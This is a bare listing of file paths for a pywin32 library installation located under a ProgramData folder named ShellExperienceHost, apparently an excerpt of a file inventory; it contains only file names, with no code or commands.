        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32TS_LOGOFF_DISCONNECTED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\TESTWNET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\WINNETWK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\__PYCACHE__\TESTWNET.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32WNET\__PYCACHE__\WINNETWK.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WINPROCESS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\BACKUPREAD_BACKUPWRITE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\BACKUPSEEK_STREAMHEADERS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\CERAPI.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\COPYFILEEX.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\CREATEFILETRANSACTED_MINIVERSION.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\DESKTOPMANAGER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVENTLOGDEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVTFORMATMESSAGE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVTSUBSCRIBE_PULL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\EVTSUBSCRIBE_PUSH.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\FILESECURITYTEST.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\GETFILEVER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\GETSAVEFILENAME.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\MMAPFILE_DEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\NETVALIDATEPASSWORDPOLICY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\OPENENCRYPTEDFILERAW.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\PRINT_DESKTOP.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\RASTEST.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\REGCREATEKEYTRANSACTED.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\REGRESTOREKEY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\SYSTEMPARAMETERSINFO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\TIMER_DEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CLIPBOARDDEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CLIPBOARD_BITMAPDEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32COMPORT_DEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CONSOLE_DEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32CRED_DEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32FILEDEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_DEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_DEVICENOTIFY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_DIALOG.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_MENU.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32GUI_TASKBAR.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32NETDEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32RCPARSER_DEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32SERVICEDEMO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WIN32TS_LOGOFF_DISCONNECTED.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\__PYCACHE__\WINPROCESS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\INCLUDE\PYWINTYPES.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIBS\PYWINTYPES.LIB
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\AFXRES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\COMMCTRL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\DBI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\MMSYSTEM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\NETBIOS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\NTSECURITYCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_BOOTSTRAP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWIN32_TESTUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\PYWINTYPES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\RASUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\REGCHECK.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\REGUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\SSPI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\SSPICON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32CON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32CRYPTCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32EVTLOGUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32GUI_STRUCT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32INETCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32NETCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32PDHQUERY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32PDHUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32RCPARSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32SERVICEUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32TIMEZONE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32TRACEUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WIN32VERSTAMP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINERROR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINIOCTLCON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINNT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINPERF.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\WINXPTHEME.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\AFXRES.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\COMMCTRL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\DBI.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\MMSYSTEM.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\NETBIOS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\NTSECURITYCON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_BOOTSTRAP.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWIN32_TESTUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\PYWINTYPES.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\RASUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\REGCHECK.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\REGUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\SSPI.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\SSPICON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32CON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32CRYPTCON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32EVTLOGUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32GUI_STRUCT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32INETCON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32NETCON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32PDHQUERY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32PDHUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32RCPARSER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32SERVICEUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32TIMEZONE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32TRACEUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WIN32VERSTAMP.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINERROR.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINIOCTLCON.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINNT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINPERF.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LIB\__PYCACHE__\WINXPTHEME.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\LICENSE.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\MMAPFILE.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\ODBC.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\PERFMON.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\PERFMONDATA.DLL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\PYTHONSERVICE.EXE
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\BACKUPEVENTLOG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE\PYSYNCH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CE\__PYCACHE__\PYSYNCH.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\CONTROLSERVICE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\KILLPROCNAME.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\RASUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\REGSETUP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\SETUP_D.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\BRANDPROJECT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\BULKSTAMP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\VSSUTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__\BRANDPROJECT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__\BULKSTAMP.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\VERSIONSTAMP\__PYCACHE__\VSSUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\BACKUPEVENTLOG.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\CONTROLSERVICE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\KILLPROCNAME.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\RASUTIL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\REGSETUP.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SCRIPTS\__PYCACHE__\SETUP_D.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\SERVICEMANAGER.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\HANDLES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TESTALL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_CLIPBOARD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_EXCEPTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_ODBC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_PYWINTYPES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_SECURITY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_SSPI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32API.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32CRYPT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32EVENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32FILE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32GUI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32GUISTRUCT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32INET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32NET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32PIPE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32RCPARSER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32TIMEZONE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32TRACE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\TEST_WIN32WNET.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\PYTHON.BMP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\PYTHON.ICO
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\TEST.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\WIN32RCPARSER\TEST.RC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\HANDLES.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TESTALL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_CLIPBOARD.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_EXCEPTIONS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_ODBC.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_PYWINTYPES.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_SECURITY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_SSPI.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32API.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32CRYPT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32EVENT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32FILE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32GUI.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32GUISTRUCT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32INET.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32NET.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32PIPE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32RCPARSER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32TIMEZONE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32TRACE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TEST\__PYCACHE__\TEST_WIN32WNET.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\TIMER.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN2KRAS.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32API.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CLIPBOARD.PYD
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\WIN32CONSOLE.PYD
